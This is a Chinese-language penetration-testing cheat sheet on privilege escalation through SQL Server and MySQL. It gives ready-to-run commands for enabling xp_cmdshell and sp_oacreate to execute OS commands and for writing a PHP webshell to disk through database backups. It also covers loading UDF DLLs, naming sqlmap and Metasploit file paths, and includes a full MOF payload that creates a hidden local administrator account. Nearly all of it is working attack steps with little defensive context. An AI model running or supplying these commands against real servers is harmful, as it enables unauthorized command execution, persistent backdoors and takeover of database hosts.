SQL Server
1. xp_cmdshell
可以直接通过cmd执行命令,限制少。但是xp_cmdshell是扩展存储过程(Extended Stored Procedure),需要dll支持,默认情况不开启。
#查看xp_cmdshell是否开启,返回1开启,0关闭
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
#若关闭,重新开启(需要xplog70.dll)
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
#两种方式执行
exec xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'whoami'
2. sp_oacreate & sp_oamethod
与xp_cmdshell区别是sp_xxx为标准的存储过程,sqlserver自带。但是限制多,sp_oacreate等通过COM(Component Object Model)对象实现,不能达到cmd那样执行的权限。
#查看sp_oacreate是否可用,0为可用,1为不可用
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
#如果不可用,可尝试开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
#此方法无回显,但可以写到文件中查看
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt'
3. OPENROWSET
见《SQL注入攻击与防御》提权章节
4. 数据库差异备份写webshell
差异备份(Differential Backup)会备份自上次完整备份以来发生的更改部分,而不是仅仅与之前备份不相同的内容。它会将自上次完整备份以来的所有更改都保存到差异备份文件中,而不会重复保存相同的内容。
条件:
1.用户权限足够大(DBA or SA)
2.目标目录可写
3.知道网站绝对路径
#第一步
create DATABASE Testdb;
#第二步
backup database Testdb to disk = 'c:\test2.bak';
use Testdb;
create table [dbo].[Testdb] ([cmd] [image]);
insert into Testdb(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
#3c3f70687020706870696e666f28293b3f3e为ASCII对应16进制的<?php phpinfo();?>
#第三步 DIFFERENTIAL对应差异备份
backup database Testdb to disk='C:\\phpinfo.php' WITH DIFFERENTIAL,FORMAT;
5. 日志差异备份写webshell
日志备份重复性好、多次备份的成功率高,相对于差异备份而言,shell的体积较小。因此一般采用日志备份。LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的。
其利用条件如下:
1.用户权限足够大(DBA)
2.数据库已完整备份过一次
3.目标目录可写
4.知道网站绝对路径
create database Testdb --新建数据库Testdb
alter database Testdb set RECOVERY FULL; --修改数据库恢复模式为 完整模式
create table cmd (a image); --创建一张表cmd,只有一个列 a,类型为image
backup log Testdb to disk= 'C:\\1.php' with init; --备份表到指定路径
insert into cmd (a) values(0x3c3f706870706870696e666f28293b3f3e); --插入一句话到cmd表里
backup log Testdb to disk='C:\\phpinfo.php'; --把操作日志备份到指定文件
MySQL
手工可看https://xz.aliyun.com/t/10373,非常详尽
1. UDF
UDF和存储过程比较像,区别在于
1.返回结果:UDF必须返回一个值,可以是标量值(如整数、字符串等)或表值(返回一张结果集)。存储过程可以执行一系列操作,但它不需要返回结果。
2.使用方式:UDF通常在查询中使用,可以像内置函数一样调用。存储过程通常通过执行存储过程的语句来调用,可以包含输入和输出参数。
使用条件:
1.mysql有写入文件的权限,即secure_file_priv的值为空
2.有udf.dll且在指定路径下
1.系统版本为:Server 2003、Windows XP、Windows 7及以下版本
2.mysql的root用户密码
3.UDF存放目录:
mysql<5.2,存在于系统目录c:/windows/system32/;
mysql>5.2,存在于安装目录MySQL\Lib\Plugin\
#如果没有,sqlmap和msf也带了dll
##sqlmap:
###/opt/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
###/opt/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
##解码脚本:
###/opt/sqlmap/extra/cloak/cloak.py
##msf:
###/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys.dll
用法:
# 创建一个 MySQL 函数,将其与 udf.dll 中的函数关联起来
CREATE FUNCTION <udf_func_name> RETURNS STRING SONAME 'udf.dll';
# 之后就可以使用:
SELECT <udf_func_name>('command');
网上有很多利用工具
https://github.com/T3st0r-Git/HackMySQL
2. MOF
MOF(Managed Object Format)文件是一种文本文件,用于定义和描述管理对象的结构和行为。WMI(Windows Management Instrumentation)是Windows操作系统中的一项管理技术,它使用 MOF 文件来描述和管理系统资源、配置和性能。在 Windows 系统中,WMI 服务会周期性地检测并加载系统中的 MOF 文件。这些 MOF 文件中定义了管理对象的属性、方法和关联关系。一旦 MOF 文件被加载,其中的定义将被解析并注册到 WMI 服务中,使得相关的管理对象可以被访问和操作。
攻击者利用已获取的高权限(如 MySQL 的 root 权限)来上传恶意的 MOF 文件到系统中。攻击者通常会将 MOF 文件存放在系统的特定目录(如C:/Windows/System32/wbem/mof)下。然后,攻击者会使用合法的权限注册该 MOF 文件,使其能够被 WMI 服务加载。
所以 很显而易见,只能在Windows上用,而且一般低版本系统才可以用,比如xp、server2003
以下是一个mof文件例子
#test.mof
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
#payload:
select load_file("path/to/test.mof") into dumpfile "path/to/store/mofFile"
MSF
msf中自带UDF和MOF提权模块
